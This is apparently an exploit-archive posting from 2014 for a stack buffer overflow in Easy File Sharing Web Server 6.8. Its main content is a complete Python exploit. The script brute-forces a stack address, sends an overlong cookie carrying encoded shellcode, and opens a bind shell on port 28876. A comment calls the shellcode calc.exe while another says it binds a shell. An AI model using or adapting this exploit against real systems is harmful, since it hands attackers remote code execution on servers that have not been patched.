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Easy File Sharing Web Server 6.8 Buffer Overflow

Easy File Sharing Web Server 6.8 Buffer Overflow
Posted May 14, 2014
Authored by superkojiman

Easy File Sharing Web Server version 6.8 suffers from a stack buffer overflow vulnerability.

tags | exploit, web, overflow
MD5 | 80e75563f638a0d45ec5b2953c703491

Easy File Sharing Web Server 6.8 Buffer Overflow

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# Exploit Title: Easy File Sharing Web Server 6.8 stack buffer overflow
# Date: 10 May 2014
# Exploit Author: superkojiman - http://www.techorganic.com
# Vendor Homepage: http://www.efssoft.com
# Software Link: http://www.sharing-file.com/efssetup.exe
# Version: 6.8
# Tested on: English version of Windows XP Professional SP2 and SP3
#
# Description:
# By setting UserID in the cookie to a long string, we can overwrite EDX which
# allows us to control execution flow when the following instruction is
# executed:
#
# 0x0045C8C2: CALL DWORD PTR DS:[EDX+28]
#
# We can point EDX+28 to a location in the stack containing a pointer to
# instructions we want to execute. This pointer can be placed at 0x01??6969.
# Under Windows XP Professional SP2/SP3, the first, third, and fourth bytes
# in the address are always the same. The second byte is random so we need
# to bruteforce it. This takes at most 255 tries and the server doesn't crash
# so we can keep trying.
#
# The pointer placed at 0x01??6969 is a pointer to a CALL ESI. ESI points to
# a small space in our payload. We fill this small space with instructions to
# jump further down the stack where our shellcode is stored.
#
# Tested with Easy File Sharing Webserver installed in the default location at
# C:\EFS Software\Easy File Sharing Web Server
#

import socket
import struct
import time
import sys

target = "192.168.1.140"
port = 80

# Shellcode from https://code.google.com/p/w32-bind-ngs-shellcode/
# Binds a shell on port 28876
# msfencode -b '\x00\x20' -i w32-bind-ngs-shellcode.bin
# [*] x86/shikata_ga_nai succeeded with size 241 (iteration=1)
shellcode = (
"\xbb\xa1\x68\xde\x7c\xdd\xc0\xd9\x74\x24\xf4\x58\x33\xc9" +
"\xb1\x36\x31\x58\x14\x83\xe8\xfc\x03\x58\x10\x43\x9d\xef" +
"\xb5\xe7\xd5\x61\x76\x6c\x9f\x8d\xfd\x04\x7c\x05\x6f\xe0" +
"\xf7\x67\x50\x7b\x31\xa0\xdf\x63\x4b\x23\x8e\xfb\x81\x9c" +
"\x02\xc9\x8d\x44\x33\x5a\x3d\xe1\x0c\x2b\xc8\x69\xfb\xd5" +
"\x7e\x8a\xd5\xd5\xa8\x41\xac\x02\x7c\xaa\x05\x8d\xd0\x0c" +
"\x0b\x5a\x82\x0d\x44\x48\x80\x5d\x10\xcd\xf4\xea\x7a\xf0" +
"\x7c\xec\x69\x81\x36\xce\x6c\x7c\x9e\x3f\xbd\x3c\x94\x74" +
"\xd0\xc1\x44\xc0\xe4\x6d\xac\x58\x21\xa9\xf1\xeb\x44\xc6" +
"\x30\x2b\xd2\xc3\x1b\xb8\x57\x37\xa5\x57\x68\x80\xb1\xf6" +
"\xfc\xa5\xa5\xf9\xeb\xb0\x3e\xfa\xef\x53\x15\x7d\xd1\x5a" +
"\x1f\x76\xa3\x02\xdb\xd5\x44\x6a\xb4\x4c\x3a\xb4\x48\x1a" +
"\x8a\x96\x03\x1b\x3c\x8b\xa3\x34\x28\x52\x74\x4b\xac\xdb" +
"\xb8\xd9\x43\xb4\x13\x48\x9b\xea\xe9\xb3\x17\xf2\xc3\xe1" +
"\x8a\x6a\x47\x6b\x4f\x4a\x0a\x0f\xab\xb2\xbf\x5b\x18\x04" +
"\xf8\x72\x5e\xdc\x80\xb9\x45\x8b\xdc\x93\xd7\xf5\xa6\xfc" +
"\xd0\xae\x7a\x51\xb6\x02\x84\x03\xdc\x29\x3c\x50\xf5\xe7" +
"\x3e\x57\xf9"
)

print "[+] We're guessing an address on the stack. It will be a few minutes..."

for i in xrange(1,255):
n = ""
if i < 16:
n = "0" + hex(i)[-1]
else:
n = hex(i)[2:]

# craft the value of EDX that will be used in CALL DWORD PTR DS:[EDX+28]
guess = "0x01" + n + "6940"
sys.stdout.write("=");

payload = "A"*64 # padding
payload += "\x81\xee\x70\xff\xff\xff" # SUB ESI,-90
payload += "\xff\xe6" # JMP ESI

payload += "A"*8 # padding
payload += struct.pack("<I", int(guess, 16)) # overwrite EDX with
# pointer to CALL ESI

payload += "C"*108 # padding
payload += struct.pack("<I", 0x10023701) # pointer to CALL ESI
payload += "\x90"*20 # NOP sled
payload += shellcode # calc.exe

# craft the request
buf = (
"GET /vfolder.ghp HTTP/1.1\r\n"
"User-Agent: Mozilla/4.0\r\n"
"Host:" + target + ":" + str(port) + "\r\n"
"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"
"Accept-Language: en-us\r\n"
"Accept-Encoding: gzip, deflate\r\n"
"Referer: http://" + target + "/\r\n"
"Cookie: SESSIONID=6771; UserID=" + payload + "; PassWD=;\r\n"
"Conection: Keep-Alive\r\n\r\n"
)

# send the request and payload to the server
s1 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s1.connect((target, port))
s1.send(buf)
s1.close()

try:
# check if we guessed the correct address by connecting to port 28876
s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s2.connect((target, 28876))
s2.close()
print "\n[+] Success! A shell is waiting on port 28876!"
break
except Exception,e:
pass

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